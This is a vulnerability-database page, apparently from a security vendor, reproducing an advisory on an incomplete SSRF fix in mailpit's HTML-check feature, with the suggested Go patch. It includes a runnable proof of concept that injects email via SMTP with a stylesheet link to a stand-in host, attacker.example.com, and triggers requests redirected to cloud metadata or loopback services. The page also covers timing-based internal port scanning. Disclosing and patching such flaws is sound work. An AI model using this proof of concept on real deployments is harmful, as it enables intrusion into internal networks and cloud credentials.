Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-j3fj-qppj-fmmc

MEDIUM

GHSA-j3fj-qppj-fmmc is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in github.com/axllent/mailpit. O3 Security confirms whether GHSA-j3fj-qppj-fmmc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer

Also known asCVE-2026-45709GO-2026-5446
Published
May 19, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 15, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-j3fj-qppj-fmmc.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk
0.00%0.26%0.51%0.77%0.3%0.3%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-j3fj-qppj-fmmc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/axllent/mailpit

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, "Server-Side Request Forgery (SSRF) via HTML Check API"), shipped in mailpit v1.28.3, hardened internal/htmlcheck/css.go::downloadCSSToBytes with a 5MB size cap, a text/css content-type check, login-info stripping in isValidURL, and an opt-in --block-remote-css-and-fonts config flag — but did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints (the proxy handler and link-check). At HEAD 8bc966e61834a24c48b4465da418f75e73be0afd (2026-05-06), internal/htmlcheck/css.go::newSafeHTTPClient is mis-named — it builds an http.Client whose Transport.DialContext calls net.Dialer.DialContext directly with no IP allowlisting. As a result, the SSRF originally reported by Bao Anh Phan still permits the server to dial:

  • loopback (127.0.0.0/8, ::1),
  • private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7),
  • link-local incl. cloud IMDS (169.254.0.0/16, especially 169.254.169.254),
  • CGNAT (100.64.0.0/10),
  • and any other reserved/multicast range,

— provided the target replies with HTTP/200 and a content-type beginning with text/css. With redirect-following (CheckRedirect allows redirects to any isValidURL URL with no IP filter), an attacker-controlled public site can redirect mailpit's request into the private network without ever appearing in the email's HTML.

In the default mailpit deploy (no UI auth, no SMTP auth, port 1025/8025 exposed), this is an unauthenticated, network-reachable SSRF triggered by sending an HTML email and then issuing one HTTP GET to /api/v1/message/{id}/html-check.

Affected versions

  • internal/htmlcheck/css.go at HEAD 8bc966e61834a24c48b4465da418f75e73be0afd (2026-05-06).
  • All versions >= v1.28.3 (the version that shipped the GHSA-6jxm fix). Versions <= v1.28.2 are vulnerable to the original GHSA-6jxm; versions >= v1.28.3 carry the still-vulnerable variant described here.

The incomplete fix

The original GHSA-6jxm fix added size+content-type+login-info hardening to downloadCSSToBytes. But the dialer it uses still has no safeDialContext. The companion linkcheck and proxy handlers in the same codebase have all-three protections: size cap, content-type/redirect filter, AND a safeDialContext that runs tools.IsInternalIP(ip.IP) per resolved address — same pattern the htmlcheck dialer should adopt.

Side-by-side at HEAD 8bc966e:

FileFunctionsafeDialContext (IP filter)?TOCTOU-safe (dial-by-IP)?
internal/linkcheck/status.go::safeDialContext line 140-163dial checkYESYES (resolved IP joined with port)
server/handlers/proxy.go::safeDialContext line 393-415dial checkYESYES
internal/htmlcheck/css.go::newSafeHTTPClient line 275-310dial checkNOn/a

The mis-named newSafeHTTPClient reads:

// internal/htmlcheck/css.go:275-310
func newSafeHTTPClient() *http.Client {
    dialer := &net.Dialer{
        Timeout:   5 * time.Second,
        KeepAlive: 30 * time.Second,
    }

    tr := &http.Transport{
        Proxy: nil,
        DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
            return dialer.DialContext(ctx, network, address)   // no IP filter
        },
        ...
    }

    client := &http.Client{
        Transport: tr,
        Timeout:   15 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            if len(via) >= 3 { return errors.New("too many redirects") }
            if !isValidURL(req.URL.String()) { return errors.New("invalid redirect URL") }
            return nil
        },
    }
    return client
}

isValidURL only rejects non-http(s) and userinfo URLs — it does NOT reject internal IPs. Compare linkcheck/status.go::safeDialContext:

ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
...
if !config.AllowInternalHTTPRequests {
    for _, ip := range ips {
        if tools.IsInternalIP(ip.IP) {
            return nil, fmt.Errorf("blocked request to %s (%s): private/reserved address", host, ip)
        }
    }
}
return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))

That's the protection htmlcheck is missing.

Reachability chain (default deploy)

Listen()                                 # config/config.go:36 SMTPListen = "[::]:1025"
   ↓
SMTP server                              # internal/smtpd/main.go:222-249  AuthRequired: false, AuthHandler: nil
   ↓ attacker injects HTML body with <link rel="stylesheet" href="...attacker.com/redirect.css">
   ↓
storage.Store(...)
   ↓
Listen()                                 # server/server.go HTTPListen
   ↓ attacker sends GET /api/v1/message/{id}/html-check
apiv1.HTMLCheck                          # server/apiv1/other.go:18
   ↓ no UI auth in default deploy (auth.UICredentials == nil)
htmlcheck.RunTests(msg.HTML)             # internal/htmlcheck/main.go:17
   ↓
runCSSTests → inlineRemoteCSS            # internal/htmlcheck/css.go:25, 132
   ↓
downloadCSSToBytes(href)                 # internal/htmlcheck/css.go:192
   ↓
newSafeHTTPClient()                      # internal/htmlcheck/css.go:275
   ↓ no IP filter on Transport.DialContext or CheckRedirect
client.Do(req) → attacker-controlled origin → 302 redirect to internal IP → success

PoC

Default-deploy reproduction (no auth):

# 1) start mailpit with defaults (no --smtp-auth, no --ui-auth)
docker run -p 1025:1025 -p 8025:8025 axllent/mailpit:latest

# 2) attacker hosts a redirect to an internal target
#    e.g., http://attacker.example.com/test.css → 302 → http://169.254.169.254/...

# 3) inject email via SMTP (no auth required)
python3 - <<'EOF'
import smtplib
from email.mime.text import MIMEText
html = '''<!DOCTYPE html><html><head>
  <link rel="stylesheet" href="http://attacker.example.com/test.css">
</head><body>x</body></html>'''
m = MIMEText(html, 'html')
m['Subject'] = 'mailpit-001'
m['From'] = 'a@b'
m['To']   = 'c@d'
with smtplib.SMTP('localhost', 1025) as s:
    s.send_message(m)
EOF

# 4) get the message ID
ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')

# 5) trigger the SSRF with one anonymous GET
curl -i http://localhost:8025/api/v1/message/$ID/html-check

The HTTP server-side dial follows http://attacker.example.com/test.css → 302 redirect to http://127.0.0.1:6379/ → mailpit completes a TCP connect to the loopback Redis. No request body is reflected to the attacker (mailpit only inlines successful 200 + text/css responses), but:

  • State-changing internal GETs. Any internal admin app served on 127.0.0.1 or RFC1918 with a "GET /admin/restart", "GET /vacuum", "GET /flush" pattern can be triggered through this primitive. Several common stacks (Spring Actuator, etcd debug, internal Prometheus admin, Redis HTTP front-ends, Jaeger UI) expose such operations on private ports.
  • Cloud-IMDS reachability oracle. Because IMDS responses don't carry text/css, the body is not inlined — but the redirect chain DOES dial 169.254.169.254. A side-channel (response time, DNS log) can confirm IMDS reachability from a default-deploy mailpit on cloud.
  • Internal port-scan via timing. The 5s+15s timeouts produce a clear timing differential between "RST refused" (~ms), "open and HTTP-noisy" (~10ms+), and "filtered" (multi-second).
  • Authenticated Mailpit/<version> GET. Every internal target sees a known UA from a trusted internal subnet; combined with redirect-stripping, this can fool internal allowlists keyed on UA.

Threat model alignment

The maintainer's prior position on the SSRF class is captured by GHSA-6jxm-fv7w-rw5j (HTML Check, Medium), GHSA-mpf7-p9x7-96r3 (Link Check, Medium), and GHSA-8v65-47jx-7mfr (Proxy Endpoint, Medium). All three are siblings in the same SSRF class, and the maintainer chose to remediate each via a safeDialContext-style filter in the linkcheck and proxy fixes. The htmlcheck fix is the outlier: same class, same severity, but the IP filter was not applied. The remaining surface is therefore a regression of the published fix's stated goal ("disallow internal targets").

Default-deploy reachability is unauthenticated (per the maintainer's own README, mailpit is intended to run without auth in dev/CI). With UI auth configured, the same primitive is post-auth — still useful (UI-auth mailpit deployments often live on the internal/ops subnet, exposing other ops services).

Suggested fix

Make newSafeHTTPClient use the same safeDialContext pattern already proven in linkcheck/status.go and server/handlers/proxy.go. Concretely:

// internal/htmlcheck/css.go
func newSafeHTTPClient() *http.Client {
    dialer := &net.Dialer{
        Timeout:   5 * time.Second,
        KeepAlive: 30 * time.Second,
    }

    tr := &http.Transport{
        Proxy:                 nil,
        DialContext:           safeDialContext(dialer),  // ← add IP filter
        TLSHandshakeTimeout:   5 * time.Second,
        ResponseHeaderTimeout: 10 * time.Second,
        ExpectContinueTimeout: 1 * time.Second,
        IdleConnTimeout:       30 * time.Second,
        MaxIdleConns:          50,
    }

    client := &http.Client{
        Transport: tr,
        Timeout:   15 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            if len(via) >= 3 {
                return errors.New("too many redirects")
            }
            if !isValidURL(req.URL.String()) {
                return errors.New("invalid redirect URL")
            }
            // safeDialContext re-runs IP filter on each hop's Dial,
            // so redirect target IP is also enforced.
            return nil
        },
    }
    return client
}

// safeDialContext is the same pattern as linkcheck/status.go::safeDialContext
// — copy the function (or factor a shared helper into internal/tools/net.go).
func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
    return func(ctx context.Context, network, address string) (net.Conn, error) {
        host, port, err := net.SplitHostPort(address)
        if err != nil { return nil, err }
        ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
        if err != nil { return nil, err }
        if !config.AllowInternalHTTPRequests {
            for _, ip := range ips {
                if tools.IsInternalIP(ip.IP) {
                    return nil, fmt.Errorf("blocked request to %s (%s): private/reserved address", host, ip)
                }
            }
        }
        return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
    }
}

Two further hardening notes:

  1. Add CGNAT 100.64.0.0/10 (RFC 6598). tools.IsInternalIP covers loopback, private, link-local, multicast, unspecified — but not CGNAT. This affects all three SSRF dialers (htmlcheck, linkcheck, proxy). Tailscale tailnets and GCP IAP fall in 100.64.0.0/10; an mailpit instance running on a Tailscale node can be used to pivot into the tailnet. Concrete fix: extend tools.IsInternalIP with cgnat := net.IPNet{IP: net.IPv4(100, 64, 0, 0), Mask: net.CIDRMask(10, 32)}; if cgnat.Contains(ip) { return true }.
  2. Re-validate the rename. newSafeHTTPClient is a misleading name today — once the dialer is hardened, the name will be accurate. Until then, consider renaming it to newHTTPClient to remove the false sense of safety it conveys to maintainers reading the file.

Reproduction environment

  • Tested against: HEAD 8bc966e61834a24c48b4465da418f75e73be0afd (2026-05-06).
  • Code locations:
    • Vulnerable dialer: internal/htmlcheck/css.go:275-310
    • Vulnerable downloader: internal/htmlcheck/css.go:192-229
    • Reachability gate: internal/htmlcheck/css.go:131-187 (inlineRemoteCSS)
    • Trigger handler: server/apiv1/other.go:18-79 (HTMLCheck)
    • Default no-UI-auth: internal/auth/auth.go + middleware in server/server.go:317
    • Default no-SMTP-auth: internal/smtpd/main.go:229-230
    • Sister fixed dialers (for diff): internal/linkcheck/status.go:140-163, server/handlers/proxy.go:393-415

Reporter

Eddie Ran. Filed via reporter API.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/axllent/mailpit1.28.3&&< 1.30.01.30.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/axllent/mailpit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/axllent/mailpit to 1.30.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j3fj-qppj-fmmc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-j3fj-qppj-fmmc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-j3fj-qppj-fmmc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, "Server-Side Request Forgery (SSRF) via HTML Check API"), shipped in mailpit `v1.28.3`, hardened `internal/htmlcheck/css.go::downloadCSSToBytes` with a 5MB size cap, a `text/css` content-type check, login-info stripping in `isValidURL`, and an opt-in `--block-remote-css-and-fonts` config flag — but **did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints** (the proxy handler and link-check). At HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06), `internal/htmlcheck/css.go::n
O3 Security · Impact-Aware SCA

Is GHSA-j3fj-qppj-fmmc in your dependencies?

O3 detects GHSA-j3fj-qppj-fmmc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.